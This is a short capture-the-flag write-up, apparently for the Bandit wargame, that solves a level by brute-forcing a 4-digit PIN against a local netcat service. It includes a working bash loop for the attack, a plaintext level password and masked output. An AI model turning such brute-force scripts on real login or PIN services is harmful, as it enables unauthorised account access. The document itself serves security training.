NC does not close the network connection as it does not receive EOF. We need to 'timeout' or close the connection after a short period. This can be achieved by putting a sleep command into the stdin being passed to nc.
(echo "password 1234"; sleep 2) | nc -q 0 localhost 30002
...or by adding a maximum wait-time to the netcat connection
echo "password 1234" | nc -w 1 localhost 30002
(a small 1 second wait-time seems to be sufficient for the nc listener to respond and close safely.)
#!/bin/bash
pass='UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ'
for i in `seq 0 9999`
do
echo "Attempting PIN : $i"
brute="$(echo $pass' '$i | nc -w 1 localhost 30002)"
echo "${brute}"
if [[ ! $brute == *"Wrong"* ]]; then
echo "$brute" > password.txt
break
fi
done
Using seq 0 9999
rather than {0..9}{0..9}{0..9}{0..9}
allows for resuming the attempts from a specific start range (if SSH connection times out, or you need to leave and resume)
The resulting output (PIN numbers and password masked to prevent spoilers)
....
Attempting PIN : ****
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Attempting PIN : ****
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Attempting PIN : ****
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Attempting PIN : ****
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Attempting PIN : ****
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Correct!
The password of user bandit25 is ************************
Exiting.
bandit24@bandit:/tmp/tmp.WpiQRmF6At$